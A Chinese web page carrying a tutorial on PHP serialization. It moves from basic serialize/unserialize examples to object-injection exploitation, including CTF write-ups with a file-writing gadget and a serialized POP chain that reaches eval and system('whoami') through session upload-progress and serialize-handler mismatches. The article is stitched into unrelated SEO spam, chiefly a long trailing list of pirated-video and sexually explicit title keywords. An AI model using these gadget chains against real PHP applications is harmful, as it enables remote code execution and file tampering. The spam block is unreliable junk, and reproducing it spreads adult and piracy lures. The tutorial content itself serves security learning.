<kbd id="fugzo"></kbd>
<pre id="fugzo"></pre>
    1. <fieldset id="fugzo"><style id="fugzo"></style></fieldset>
      <center id="fugzo"></center>
    2. 哑剧盖章,电视剧折腰免费观看全集,亮剑3gp下载,秘密访客,泰剧为你着迷,古城童话,食物链无删减,大鱼海棠

      簡單分析PHP中序列化用法介紹

      時間:2024-08-15 18:02:59 PHP

      簡單分析PHP中序列化用法介紹

        序列化在我們學習php中都會有用到了對于序列化我們常用的函數有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:

        0x00 序列化函數

        serialize():返回帶有變量類型和值的字符串

        unserialize():想要將已序列化的字符串變回 PHP 的值

        測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $a  = $a;

        $this->b = $b;

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $a = 'hello';

        $b = 123;

        $c = false;

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        var_dump(serialize($a));

        var_dump(serialize($b));

        var_dump(serialize($c));

        var_dump(serialize($d));

        var_dump(serialize($e));

        ?>

        運行結果:

        string 's:5:"hello";' (length=12)

        string 'i:123;' (length=6)

        string 'b:0;' (length=4)

        string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)

        string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

        序列化字符串格式: 變量類型:變量長度:變量內容 。

        如果序列化的是一個對象,序列化字符串格式為:

        變量類型:類名長度:類名:屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內容}

        將上述結果反序列化輸出,執行結果:

        string 'hello' (length=5)

        int 123

        boolean false

        object(test)[1]

        public 'a' => null

        public 'b' => string 'hellob' (length=6)

        object(test1)[1]

        public 'a' => string 'hello' (length=5)

        public 'b' => null

        0x01 對象序列化

        當序列化對象時,PHP 將在序列動作之前調用該對象的成員函數 sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調用 wakeup()成員函數。

        在serialize()函數執行時,會先檢查類中是否定義了 sleep()函數,如果存在,則首先調用 sleep()函數,如果不存在,就保留序列字符串中的所有屬性。

        在unserialize()函數執行時,會先檢查是否定義了 wakeup()函數。如果 wakeup()存在,將執行__wakeup()函數,會使變量被重新賦值。

        serialize()測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        serialize($d);

        serialize($e);

        var_dump($d);

        var_dump($e);

        ?>

        執行結果:

        b has changed b has changed

        object(test)[1]

        public 'a' => string 'helloa' (length=6)

        public 'b' => string 'hib' (length=3)

        object(test1)[2]

        public 'a' => string 'hello' (length=5)

        public 'b' => string 'hib' (length=3)

        unserialize()測試代碼:

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;

        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;

        var_dump(unserialize($d));

        var_dump(unserialize($e));

        運行結果:

        a has changed

        object(test)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => string 'hellob' (length=6)

        a has changed

        object(test1)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => null

        0x02 PHP序列化的利用

        1、magic函數和序列化

        參考: php對象注入

        除了 sleep()和 wakeup()函數,在序列化時會執行外,還有下面幾種利用方式。

        Class File

        {

        function __construct($var,$file1,$file2){

        $this->var = $var;

        $this->file1 = $file1;

        $this->file2 = $file2;

        echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';

        }

        function __destruct(){

        unlink(dirname(__FILE__) . '/' . $this->file1);

        echo $this->file1.'deleted';

        }

        function __toString(){

        return file_get_contents($this->file2);

        }

        }

        // $file = new File('hello','123.txt','456.php');

        // var_dump(serialize($file));

        echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

        ( construct()函數,在實例化一個對象時被調用,一般用來給屬性賦值, destruct()在實例化對象完成后執行,__toString()函數在echo一個對象時被調用)

        construct()函數內定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經服務器上已經存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內容。

        執行結果:

        123.txtdeleted

        查看源碼:

        <?php  echo 123; ?>123.txtdeleted

        將字符串反序列化后,由于已經對變量賦過值,那么就不會再執行 construct()函數,在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結束后執行了, tostring()函數在echo unserialize()處,也被執行了

        如果說在當前頁面中有request系列函數,那么就可以造成php對象注入:

        http://drops.wooyun.org/papers/4820

        2、三個白帽挑戰賽第三期

        是一道源碼審計題,題目大致是sql注入結合序列化寫入文件

        部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關的部分源碼):

        class Cache extends \ArrayObject

        {

        public $path;

        function __construct($path)

        {

        parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);

        $this->path = $path;

        if(file_exists($path)){

        $this->cache = unserialize(file_get_contents($this->path));

        }

        function offset(){

        //一些不知道干嘛用的代碼

        }

        }

        function __destruct()

        {

        $cache = $this->serialize();

        file_put_contents($this->path, $cache);

        }

        }

        又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:

        include('cache.php');

        $cache = new Cache('path.txt');

        這題好像是這樣的:

        通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內容,并且反序列化內容,結束時再經過序列化存進文件中。所以可以在可控文件中構造序列化字符串,改變當前的path屬性為我們想要的目錄。

        path.txt:

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

        上述字符串是通過輸出serialize(一個實例化的Cache對象)構造的,當__construct()執行時,就會將上述字符串反序列化,此時已經實例化了一個cache對象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

        $cache = $this->serialize();

        變成了:

        $cache = serialize($this->cache);

        那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。

        所以,現在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。

        兩個對象實例化結束后,會調用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內容寫進了path.php中。

        3、安恒ctf web3

        一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結合。

        session上傳進度:

        參考: upload-progress

        當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

        測試代碼:

        <form action="" method="POST" enctype="multipart/form-data">

        <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />

        <input type="file" name="123123" />

        <input type="submit" />

        </form>

        <?php

        session_start();

        var_dump($_SESSION);

        ?>

        (要查看到上傳session,INI貌似要設置這個session.upload_progress.cleanup = Off)

        session序列化處理器:

        參考: session序列化

        當session.auto_start = 0時:

        兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現安全問題。

        經過測試發現在1.php頁面注冊session.serialize_handler=‘php_serialize’;

        在2.php中注冊session.serialize_handler=‘php’;

        那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串

        如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

        那么會按照 php 處理器的反序列化格式讀取數據,成功地實例化了該對象。

        反之,如果是從php->php_serialize,是不可行的。

        當session.auto_start = 1時:

        只能注入 PHP 的內置類

        web3 源碼:

        class.php:

        <?php

        class foo1{

        public $varr;

        function __construct(){

        $this->varr = "index.php";

        }

        function __destruct(){

        if(file_exists($this->varr)){

        echo $this->varr;

        }

        echo "這是foo1的析構函數";

        }

        }

        class foo2{

        public $varr;

        public $obj;

        function __construct(){

        $this->varr = '1234567890';

        $this->obj = null;

        }

        function __toString(){

        $this->obj->execute();

        return $this->varr;

        }

        function __desctuct(){

        echo "這是foo2的析構函數";

        }

        }

        class foo3{

        public $varr;

        function execute(){

        eval($this->varr);

        }

        function __desctuct(){

        echo "這是foo3的析構函數";

        }

        }

        ?>

        index.php:

        <?php

        ini_set('session.serialize_handler', 'php');

        require("./sessionTest.php");

        session_start();

        $obj = new foo1();

        $obj->varr = "phpinfo.php";

        ?>

        想辦法讓程序執行foo3的excute()函數,就要通過foo2的 toString(),要執行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

        所以這樣構造:

        include('class.php');

        $t1 = new foo1;

        $t2 = new foo2;

        $t3 = new foo3;

        $t3->varr = "system('whoami');";

        $t2->obj = $t3;

        $t1->varr = $t2;

        $s1 = serialize($t1);

        var_dump($s1);

        構造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

        所以構造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。

        有兩類不同的插法~

        1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

        session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值

        2、將序列化字符串插入post內容中

        因為session會存上傳文件的內容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數為止,變成了session名,name參數|后面的payload變成了session值。

      【簡單分析PHP中序列化用法介紹】相關文章:

      簡單介紹php構造函數用法03-15

      php中dirname()和--FILE--常量的用法04-01

      PHP中的排序函數區別分析03-31

      PHP中MySQL、MySQLi和PDO的用法和區別03-10

      PHP對象注入的實例分析03-15

      PHP中curl的使用實例04-01

      PHP中關于類的定義04-01

      php中session的實現原理以及大網站應用應注意的問題分析04-01

      PHP中函數的使用說明03-30

      主站蜘蛛池模板: 渴望城市| 小敏回忆第一季免费观看高清| 小娘惹2020新版| 九霄龙帅短剧免费观看| 釜山行2资源| 三年免费观看在线观看大全第一集| 花开如梦电视剧免费播放40集| 新动漫中华| 本相爱在线观看| 边城电视剧| 不差钱电影| 甄嬛传全集免费版在线观看完整版| 美剧《美女公车骚扰》有哪些集数?| 赵寅成霜花店| 歼灭天际1-40集免费观看西瓜视频| 流量女王热搜:常驻选手全集免费| 警察故事2免费| 三年中国国语免费观看中文版下载-百度电影高清电影在线-B032AV | 影子缠身 电影| 年轻的阿姨| 家属动漫1-6全集免费观看 | 全球热恋粤语QVOD| 动感小玲| 薄暮传说剧场版| 《特殊的汽车销售》| 心花怒放免费高清观看| 无心法师第4季免费播放| 《八尺夫人意大利满天星在线观看 | 百日蔷薇ova2| 《无能的丈夫》日剧| 日韩入室强奸片| 夺命鼠标电影完整视频播放免费观看| 爸爸要播种子美国电视剧在线观看 | 法国空乘理论5HD| 《美容院特殊待遇》在线| 韩国电影修车艳遇| 宫锁玉心| 蜀山奇仙录动漫免费观看全集| 亡者之谜泰剧在线观看泰剧 | 兄弟之道在线观看高清免费| 电影壮志凌云| 《特别面试》免费观看| 和女邻居做爰2在线观看| 硅胶娃娃实战效果视频| 老师好免费电影完整版| 节点钥匙| 一棵树被雷连劈13次| 倚天剑屠龙刀电视剧| 《渔夫的妻子》电影免费观看| 爱不爱都是错| 快乐星猫动漫| 善良的小峓子小火星在线观看| 光荣mv| 法国《遗产》罗丽星克莱尔| 为歌而赞| 再见绝望村| 更好的生活| 加勒比海盗女版| 绝地战龙| 夏娃的诱惑电视剧| 飞行的绣感| 家族的荣誉| 坎贝奇《无憾》免费观看| 伪装者35| 高清《第一次的辣妹》动漫| 恶魔奶爸2季| 义子下药被迷晕后侵犯在线观看 | 《私人女性监狱》-伦理片在线观看 - 南瓜影院 | 圣特罗佩斯的姑娘们电影免费观看| 11分钟模拟成结动画在线观看免费| 神犬奇兵电视剧| 快乐再出发第一季在线播放免费观看| 锦绣前程:重生不做炮灰短剧全集 | 《私人家教》1983版电影免费观看| 满江红电影免费观看| 泰国坠崖孕妇孩子出生了吗| 人马配速60分钟视频教程大全| 《真相》在线观看免费| 激战酒店1—5免费| 摩登原始人英语| 爸爸的朋友2在完整有限中字| 激情丛杕| 天降女子第一季在线观看免费观看| 宠灵实验室之狸奴艾莉| 黑白配中文在线观看免费高清电影| 唐人街探案3枪版资源在线观看| 日本JIZZ| 魔术师与巨人| 无极 预言| 交换上司的秘书在线播放| 军嫂逆袭:致富养娃两不误短剧全集 | 麦乐迪《森林》免费观看| 少年包青天1高清| 万古神帝张若尘完整版| 《贪婪之岛2》完整版| 天下足球音乐| 巴东县| 农民鲁智深| 盲山 无删减180分钟| 韩国电影和部长一起出差旅日本电影叫什么 | 我的性感女老师| 追逐繁星的孩子| 文豪野犬第六季在线观看| 楼上的邻居在线| 金瓶梅在线播放| 囧妈免费播出| 《湿透雨宿避雨》电影完整版| 奇葩说第六季在线观看| 四少妇按摩无码高潮片| 苍井空电影全集快播| 电锯惊魂6高清版| 铜锣铜钹铿锵锵锵在线观看2023年| 《丰满的继牳5》在线观看| 爸爸播种子美国电视剧吗英文| 宜昌保卫战电视剧全集| 人乳喂奶的电影| 丰满的继牳伦理8伦理| 哈哈哈哈哈第二季免费观看完整版| 变形金刚1电影下载| 私人航空观看| 老电影庐山恋| 全职猎人国语| 还珠格格新版全集免费观看| 关之琳所有电影| 安拉斋在线观看免费版电影| 黑白潜行免费高清观看| 丰满年轻岳每3| 火热的部长的妻子剧情| 满目星回又思卿短剧免费观看| 暖暖爱高清在线遇见你电视剧| 钻石王老五的艰难爱情 电视剧| 日剧《太想被你爱了》百度云| 韩剧《蓝色生死恋》国语| 被侵犯的美女教师天海翼| 陆小凤传奇1| 陷阱韩剧完整版免费观看| 巴厘岛的故事电视剧| 村妓播放| 海扁王2迅雷下载| 恶人传 高清版在线观看| 色播九月| 孪生兄妹| 翻译官小姐短剧免费观看| 张艺谋电影满江红在线| 好姑娘1第二部| 男子被关押1349天后无罪释放| 爱情面前谁怕谁分集剧情介绍| 功夫小蝇下载| 乡村爱情圆舞曲百度影音| 私人助理2法国版免费观看| 农场主三姐妹美国1976豆瓣| 天上掉下猪八戒| 《初体验5》免费观看完整版| 我的极品美女上司| 神探夏洛克下载| cekc每1| 神偷奶爸3(普通话)| 痞幼吹笛6分钟是什么意思 | 法国女超人在线观看完整免费 | 希望爸爸播种| 代号十三钗在线观看| 郝板理子电影免费观看| 现代启示录电影完整版高清免费| 电影一路向西在线观看| 月光宝盒私人免费影院| 《淫行瑜伽室》在线观看| 人体蜈蚣2在线观看| 火影忍者全集土豆网| 私人航空(未删减版)| 约会大作战h| 于月仙年轻时有多美| 欧洲少女16集最后一集剧情介绍大全| 《再会~沉默的真相~》| 王冰冰说自己不是一个自信的人| 金瓶梅2爱之奴隶| 驯服我 电影| 《和部长一起去出差旅》动漫的结局| 一二三电影| 深夜航班 第二季电视剧| 巜交换上司的秘书2中文电影| 不见不散 电影| 亚伯风尘| 保姆的特殊待遇在哪看| 甜蜜蜜电视剧全集| 电视剧猎杀| 朴雅珍《隐身帽》全集在线观看| 樱花高校的男公关| 蝴蝶与鲸鱼| 厨房激战6| 凡人修仙传动画40集| 金刚狼百度影音| 电影战狼四免费观看| 非亲兄弟电影| 樱桃免费版在线观看电视剧大全| 大兵的寝室美剧电影完整版| 芭比之时尚奇迹中文| 羞耻百度影音| 姊妹牙医完整版视频在线观看 | 男女一起愁愁愁在线观看全集高清免费 | 木下凛凛子邻居电影完整版| 承欢记免费观看完整版电视剧高清| 我的心肝宝贝国语版| 金银梅10普通话版免费观看下载| 大雄的秘密道具博物馆国语| 朋友的母亲9在完整有限中字第5| 人类一思考上帝就发笑| 金琴英3比1张本美和亚锦赛夺冠| 高兴的酸甜苦辣剧情介绍| 反贪风暴粤语| 《销售的秘密2》在线观看| 小东西我们两个C你好不好| 爱情句号| 跟部长出差的日子在线免费 | 初体验5完整版| 白蛇后传电视剧| 女侯爷:朝野无敌全集免费| 爱我几何在线观看全集免费播放莫妮| 周杰伦摩天轮演唱会官方完整版| 美丽教师未删减完整免费观看| 19岁大学生真人观看电视剧呀 | 亲爱的孩子们一共多少集| 高柳花嫁动漫全集樱花| 王保长歪传高清| 《XL司令》漫画第一季免费观看 | 禁忌电影在线观看| 《百劫红颜》| 苍老师40部免费观看电视剧大全| 月光光心慌慌7| 律政俏佳人电影| 维修师傅的艳遇在线观看| 大红狗克里弗| 恶魔幸存者第二季动漫| 《女销售的销售秘密2》| 虎胆威龙5| 赖汉的幸福指数全集在线观看 | 我要当空姐 电视剧| 新生电视剧在线观看免费完整版| 《overflower》真人结局| 银河传说大电影| 纯情房东俏房客| 孟兰神功| 火线全集| 校园女大兵 电视剧| 千金肉奴完整版赤坂丽| 不可撤销电影| gongshoudao| 男大当婚电视剧免费观看完整版| 电影在线免费观看修理工的艳遇| 在出差期间被讨厌上司欺负| 黑玫瑰红玫瑰| 2013女超人| 使徒行者免费| 如果爱第2季 综艺| 莫莉3的特别酒店| 家庭教师动漫在线观看全集| 表演系的故事| 急诊护士在线免费观看| 《特殊的精油按摩| 不死者之王在线观看| 台湾版《棘手狂情》演员表雅婷是 | 霍比特人2下载| 女超人(麦乐迪)版电影| 黄风怪是什么动物| 爱情男女全集免费观看免费| 铿锵免费看在线观看| 乘风破浪5免费观看| 沈阳天空聊天室| 美丽海棠红5| 流光之下电视剧在线观看| 银瓶梅电视剧第5集电视剧| 张国荣红楼春上春| 身为超人弟弟的我却成了祖国人| 锁春宵短剧全剧免费观看| 《高压监狱2在》完整版法国免费看 | 凯·帕克的私人水疗| 恶之花在线播放| 辣妹刺客2正片完整版在线观看| 角斗士3满天星版| 极乐凶间 第二季电视剧| 爱寻迷完整版电影在线观看| 关于莉莉周的一切高清| 红唇原唱完整版| 《武松》83版免费播放| 韩国式家庭禁忌结局-3| 城中之城剧情介绍| 猪坚强已瘦骨嶙峋| 电影《瓜达卢佩的玫瑰免费观看》 | POREN 19学生| 《在姨母家的客厅》| 疯狂的女人| 之后2第二季免费完整观看| 美丽屋景8普通话| 家用摄像头| 赖猫的狮子倒影在线看| 电视剧扫黑风暴| 《屠宰森林》在线观看| 我的漂亮姐姐韩剧完整版中文| 我的黑帮大佬第2季免费播放美剧| 朴夏伦《传说的拉一大》下载| 父影之下未删减| 欲望的火花免费观看完整版 | 金蝉脱壳电影| 当我飞奔向你全集免费看| 黑白配高清免费观看在线看| 无尽的爱电视剧免费观看| 滚蛋吧肿瘤君| 农民伯伯下乡2国语版百度云电影 xl司令全集在线观看完整版 | 石破天惊电视剧| 她的一生全集电视剧| 法国满天星《古墓丽影》| 河北梆子打金枝选段| 千指大人| 留存的爱全集观看| 青草青在线视频| 神雕无人机| 50岁徐娘阿姨电影免费观看| 美丽的蜜桃电影| 我妻子的妈妈双字ID免费| 尖峰时刻3| 《卿卿我心》叶玉卿免费观看| 蒙城县| 失控的生物课堂TXT免费| 带领村民奔小康:返乡创业全集免费| 假日暖洋洋电视剧| 法国版《女超人:麦乐迪》在线播放http| 甜美的咬痕动漫剧| 替夫还债3高清完整版在线观看| 法国时装秀| 《睡美人》电影| 私人助理2法国版观看| 一家老小向前冲高清| 女人进城电视剧全集免费播放| 电影小姐在线观看| eeuSS| 青盲电视剧全集50| 女版战狼6在线观看免费| 北京青年土豆网| 玄学少女全集免费| 欧美日韩电影维修工的艳遇2| 妻子的姐姐1| 流浪地球2在线观看| 酒店1-75集免费全集| 杨春霞乱云飞| 高清秒速5厘米未删减| 愈合伴侣在线观看| 360大佬爱上我第三季免费观看| 洪流 电视剧| 高清《你的名字》高清免费观看| 爱我几何原版在线观看| 八佰在线观看| 曹操跑腿| 神医喜来乐高清| bramadero| 意大利赛仑真藏版| 泰国屠宰娃娃观看| 纳粹女魔残酷实验2免费观看| 即刻上场全集免费观看| 牙医姊妹电影完整版| 反黑英雄电视剧免费观看国语全集| 《修车艳遇》在线观看| 简言的夏冬在线观看| 电影需要爸爸播种子| 古惑仔之江湖新秩序| 17岁免费完整版在线观看| 东北风云之黑道20年全集| 黑帮大佬和我的365日在线观看| 农民下乡免费观看完整版| 血恋电影免费播放高清在线观看 | 怪你过分美丽在线观看| 妈妈儿子的同学| 怪侠欧阳德剧情分集介绍| 三年中国| 在异世界迷宫开后宫在线观看| 银瓶梅| 金钱帝国粤语高清| 蜜桃成熟时3之蜜桃仙子 | 我们结婚了全集后续剧情| 都挺好电视剧全集免费| 精忠岳飞全集| 风暴在线观看| 一路向西 主演| 法国空乘仑理13| 超越情感电视剧免费观看全集完整版 | 菲梦少女第三季正片| 1996版杨敏1-5电视剧高清| 刀锋战士| 姐姐的朋友在线观看免费完中文整版 | 1—5集国语版免费普通话| 上帝之城| 牧马人电影在线观看| 郝板栗牙医无删减版在线观看电视剧 | 骨语2电视剧在线播放免费完整版 韩剧《家庭教师》免费观看全集 猎狼者 电视剧 | 美姊妹牙医完整版在线观看| 缘之空第一季在线观看免费完整| 与黑帮大佬的365日| 空蝉森酒法子原版| 金太狼的幸福生活 电视剧| 首尔之春历史真实事件| 驻马店火灾| 私人航空在线观看免费版完整版 | 梅州市| 入室暴行3被蹂躏在线观看 | 惊天激战高清在线观看| 《战士》凯登克罗斯| 电视剧 追踪| 女人如此膘悍| 爱他就去追| 善良的瘦子5最漂亮三个角色| 三八线电视剧全集高清| 美少女还我h之魂| 成人版禁忌的神话欧美| 特别使命电视剧全集免费观看| 大侦探拾光季| 小花猫儿歌喵喵叫| 淫间道| 女人出轨电影| 真爱谎言下载| 秋瓷炫《生死决断》播放| 特殊治疗医护向井蓝| 花与爱丽丝| 《蛇女》电影在线观看 | 农村姑娘免费观看高清电视剧| 我的漂亮姐姐韩剧完整版中文| 黑人开发妻子张艳| 灯草花和灯| 刀郎田震唱哭全场| 斗罗大陆72| 想要爸爸播种手机播放美国电视剧| 沉静如海| 《情趣用品调教》| 电视剧西出玉门在线观看| 高压监狱2019满天星法版免费 | 高清我要成为超级巨星| 需要爸爸播种孑伦理电影| 娱乐百分百20130401| 圣诞快乐 电影| 大秦帝国第三部崛起| 不耻下问的故事| 高清《百万人推理》电视剧| 伦理厨房的岳 电影| 高清寄往电视台的神秘影像未删减| 仁心解码第一部粤语| 电视剧长安十二时辰| 《落魄贵族》1-4集免费观看| 守望正义| 甜蜜惩罚在线观看| 愁愁愁电视剧高清免费观看| 电视剧《福贵》| 至尊红颜在线观看全集免费| 韩剧《上司的秘密》电视剧| 凌云壮志(欧美)满天星斯托亚 | 朱婷新职务曝光| 女版《斯巴达》H版在线观看| 老丁是个生意人| 侄女的开发日记| 海螺湾2| 孤独一掷在线观看免费2023| 哇嘎电影免费播放完整版| 人之初1-40集免费观看| 樱桃电视剧全集百度影音| 圣德罗佩的姑娘们高清| 难哄电视剧观看全集在线播放| 金光御九界之东皇战影| 《金牌销售的秘密5》| 女人的战争之女人的理由| 《裸体模特》电影| 怪奇物语第一季4k资源免费观看| 台剧《黛比浪漫女家教1》| 天国凤凰第二部全集| 热舞情天| 毒战豆瓣| 已婚少妇的下午| 火热的领居中文字| 野花社区日本韩国免费观看| tobu4免费| 最酷的世界| 折腰电视剧免费观看完整版| 小绿和小蓝| 战勇第二季| 苍狼传世| 《超人》| 月光宝盒国语高清| 僵尸道长粤语| XL司令动漫全集| 家常菜电视剧全集免费观看| 小蜜蜂3美丽人生| 剑破虚空短剧免费观看| 借口 电影| fv5666亚洲| 踏日酒店电影完整版在线观看| 终级一 班3全集| 《惊变28年》| 怎么办家康在线观看| 森奈奈子 在线| 师傅全集| 朋友的妈妈在线观看完整版| 云上的日子在线| 《需要爸爸播种子》电影无删减完整版免费在线播放-如意影院 | 《凤凰台上》免费观看| 我的游泳女教| 茶狐杯copfox官网| 叶罗丽精灵梦第八季免费观看| 卿卿日常在线观看| 姐姐的朋友16| 小小诊所满天星| 高校奇女子| 摄政王的小娇妃短剧全集| 富婆的秘密免费观看电视剧| 四渡赤水完整电影| 《妻子偿还》| 放逐免费| 攻击鬼魂13号电影| 女海盗在线观看| 《黑白潜行》在线观看| 年青的嫂子| 泰国司机海螺里吃出龙珠| 公孚手| 我的家庭女教师| 终结者6:黑暗命运| 车仁表四大名捕| 《保罗1980》完整版| 花非花雾非雾百度影音| 天巡者电视剧在线观看免费| 徐水县| 跟着部长出差免费观看| 北方影院浴火之恋| 还珠格格第一部高清| 爱情回来了20| 被义子侵犯的继拇HD| 赤坂丽肉奴千金未删减| 追在线观看| 1982年禁忌3| 落魄贵族琉璃川在线观看| 旋风管家第四季| 闪婚爱豆:顶流老公全集免费| 好好的时光| 电影私人航空完整版播放| 湖北襄阳59天男婴窒息死亡| 新哥斯拉免费观看高清完整版| 满分追爱公式电视剧| 《入室暴行3被蹂躏电影理论| 规范交谊舞| 凤姐直播| 致命速递3| 姐妹牙医电影在线观看| 哪吒3上映时间| 恶魔少爷别吻我电视剧第二季 | 我叫赵甲第全集免费播放| 水润女人免费观看电视剧| 韩国伦理需要爸爸的种子| 吉他兄弟| 丰都横店电影城| 打扑克视频| 范冰冰 电影| 指环王在线观看| 哇嘎嘎电影高清完整视频在线观看| 一步之遥字幕下载| 萌宝追妻:神级奶爸短剧全集| 灿烂人生2韩剧| 秘密搜查官の女在线观看| 摩登原始人英语| 绝世龙尊短剧免费看| 刑侦12| 外卖特邀外卖员| 罪色 百度影音| 曾经想火| 黑帮大佬和我的三百六十五天| 爱我几何原版无删减版莫尼卡 | 电影金钱帝国| 木下檀檩子国语版在线看| 棋魂 电视剧 在线观看| 大汉风云全集免费观看| 高柳花嫁动漫全集樱花| 高清密探未删减| 终极追杀在线播放完整版| 爱心萌可第一季免费观看| 高清他和她的谎| JUL-945丈夫不在的三天| 护士给病人做性功能康复治疗| 最近免费韩国高清在线观看| 意大利八尺夫人1982| 一号国道| 反恐特警组:火速救援| 需要爸爸的播种电影| 特命战队动漫| 《味道》电影| 台版1987渔夫荒野史免费观看| 结分谎情式粤语| 浑身是劲2011| 《八尺夫人意大利满天星在线观看 | 时光与你都很甜电视剧免费| 宽城| 重启之蛇骨佛蜕| 满天星HD版女超人在线 | 洛阳市| 先婚后爱:日久生情短剧全集| 最后的深爱韩国电影| 已婚妇女的下午电影| 一路向西2之泰西迅雷下载| 金星秀 胡歌| 我的美女姐姐欧美。| 全球游戏:江铠动漫免费观看 | 北京青年9| 青春警事| 铿锵免费观看在线播放| 倾城雪全集在线观看| 比利·林恩的中场战事| 爱我几何原声在线完整版| 迷人的保姆免费观看| 黑帮大佬和我的360天免费观看| 风吹过的街道| 印度人看中国高铁| 法国《遗产》罗丽星克莱尔| 潍坊军训吊带| 月光洒向离人巷| 《驯服小峓子2》丽卡| 左撇子女孩| 国王在冬眠在线观看全集电影 | 人猿泰山hr版| 看见恶魔| 电影《山雀儿》免费观看高清| 《婚礼的前一天与前男友》| 天道电视剧36集完整版在线播放| 旺角的天空3| 男人和女人在一起愁愁愁电视剧免 | 凯登.克罗斯《无法无天》 | 高清宇宙面包店| 电影法国空乘| 无憾坎贝奇无删减版在线看| 繁星四月电视剧| 曼谷花魁| 朋友的母亲ID中字谜| 凤凰传奇跨年演唱会| 新居之约第9集| 我的漂亮朋友电视剧免费观看 | 赛尔号4动画片全集| 电影囧妈免费观看| 神印王座免费动漫在线观看| 女超人(麦乐迪)版电影| 祸福相依| 暴劫倾情下载| 莺长女儿| 唐砖电视剧全集免费完整版| 向风而行在线播放| 战狼6免费全部完整版下载| 越南版《女兵俘虏营》完 | 法国电影《塔日酒店》| 盖世俊杰在线观看| 孽欲狐仙| 《花子vs倔强驱魔师》| 生化危机2启示录电影| 重庆绝杀上港| JIZZ.日本| 扫黑风暴电视剧免费观看全集| 三打白骨精剧情攻略| 刘宝瑞相声全集免费听 | 大梦聊斋之婴宁| 雪豹坚强岁月免费观看| 蒙古国电影《销售女孩》上映时间 | 头脑特工队2电影| 扫毒风暴全集高清完整版免费观看| 大侦探11| 哪里可以看天与地| 再见李可乐电影在线看免费| 嘎哇在线观看高清电影免费| 《环太平洋2》完整版在线观看| 天机富春山居图在线观看| 